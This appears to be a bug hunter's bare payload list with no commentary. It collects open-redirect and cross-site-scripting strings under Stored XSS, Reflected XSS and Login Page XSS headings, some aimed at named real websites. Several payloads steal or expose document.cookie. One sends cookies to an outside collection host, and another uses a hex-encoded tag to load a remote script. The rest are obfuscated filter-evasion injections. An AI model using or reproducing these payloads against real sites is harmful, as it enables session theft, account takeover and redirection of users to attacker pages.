Hackeronetesttest

##Open Redirect http://hackerdomain.com%00@isc2chapter.kr https://isc2chapter.kr/bbs/login.php?url=http://evil.com\@isc2chapter.kr ##Stored XSS {{constructor.constructor('alert(1)')()}} <noscript><p title= "</noscript><img src=x onerror=alert(document.cookie)>">, javascript://x.com%0aalert(1);// <iframe <><a href=javascript:alert(document.cookie)>Click Here</a>=></ ”/>&_lt;_script>alert(1)&_lt;/scr_ipt>”/> <h1>holaaaaaaa||<a href="http://<a href="http://<a href="http://<a href="javascript:alert(document.cookie)" onmouseover="javascript:alert(document.cookie)">aaaaaaaaaaaaaaaaaaaaaaaaaagle.com</a>">aaaaaaaaaaaaaaaaaaaaaaaaaagle.com</a>">aaaaaaaaaaaaaaaaaaaaaaaaaagle.com</a>">gle.com</a> hhh <h1>holaaaaaaa||<a href="http://<a href="http://<a href="http://<a href="javascript:window.location='https://growncheckerworl.com/cookie.php?cookie=document.cookie'" >aaaaaaaaaaaaaaaaaaaaaaaaaagle.com</a>">aaaaaaaaaaaaaaaaaaaaaaaaaagle.com</a>">aaaaaaaaaaaaaaaaaaaaaaaaaagle.com</a>">gle.com</a> hhhk ##Reflected XSS %27%20onclick=alert(document.domain)%20accesskey=X%20 %3C/script%3E%3Cscript%3Ealert(document.domain)%3C/script%3E%3Cscript%3E %27%20onclick=alert(document.domain)%20accesskey=X%20 %3Cnoscript%3E%3C/noscript%3E%3C/script%3E%3Csvg/onload=alert(document.domain)%3E %22%3E%3Cimg%20src=1%20onerror=alert(document.domain)%3E %60%3breturn+false%7d%29%3b%7d%29%3balert%60xss%60;%3c%2f%73%63%72%69%70%74%3e abc`;return+false});});alert`xss`;</script> abc%60%3breturn+false%7d%29%3b%7d%29%3balert%60xss%60;%3c%2f%73%63%72%69%70%74%3e '-alert(document.domain)-' %22%20autofocus%20onfocus=%22alert(document.domain)%22 ]")%3balert(document.cookie)%3b// %3Csvg%20onpointerenter=z=alert,z`corraldev`%3E %22%26gt%3B%26lt%3Bmeta+http-equiv%3D%22refresh%22+content+%3D%220%3B+url%3D%2F%2Fbit.ly%22%26gt%3B&selectedLocationString=N%2C115 %3c%3c%3ca%3ea%3escript%20SrC%3d%22%68%74%74%70s%3a%2f%2f%73%6b%69%6e%6e%79%2d%66%65%61%72%2e%73%75%72%67%65%2e%73%68%2f%70%61%79%6c%6f%61%64%2e%6a%73%22%3e%3c%3c%3ca%3ea%3e%2fscript%3e %22};a=alert,b=document.domain,a(b)// %22%3Cimg/**/src%3D%22x%22/**/onx%3D%22%22/**/onerror%3D%22alert%60l0cpd%60%22%3Ef9y60 %22/%3E%22%3Cimg%20src=x%20onerror=alert(1);%3E -20a")});a=alert;a(1);// %22j%0A%0Davascript:confirm(1)%22%20/%3E%3Ch1%3ECLICK%20ME%3C/h1%3E%3C/a%3E %27%3Balert(%27XSS!%27)%2F%2F %27%3Balert%28%27chron0x%27%29%3B%27 OnMoUsEoVeR=prompt(/hacked/)// %3C/scr%3Cscript%3Eipt%3E%3Csvg+onload=alert%28document.cookie%29%3E aa://///%0d%0aa=location.hash.substring%601%60;location=a/*///#javascript:alert%28document.domain%29 %3C/noscript%3E%3Csvg+onload=alert%28document.cookie%29%3E jav%26%23x09;ascript:alert%28confirm_mb_password.value%29; javascript:alert(1)//https://dqdqdqdqdq.myshopify.com ##Login Page XSS redirectUrl=javascript://www.aboutyou.de/LOL%250aalert(document.domain)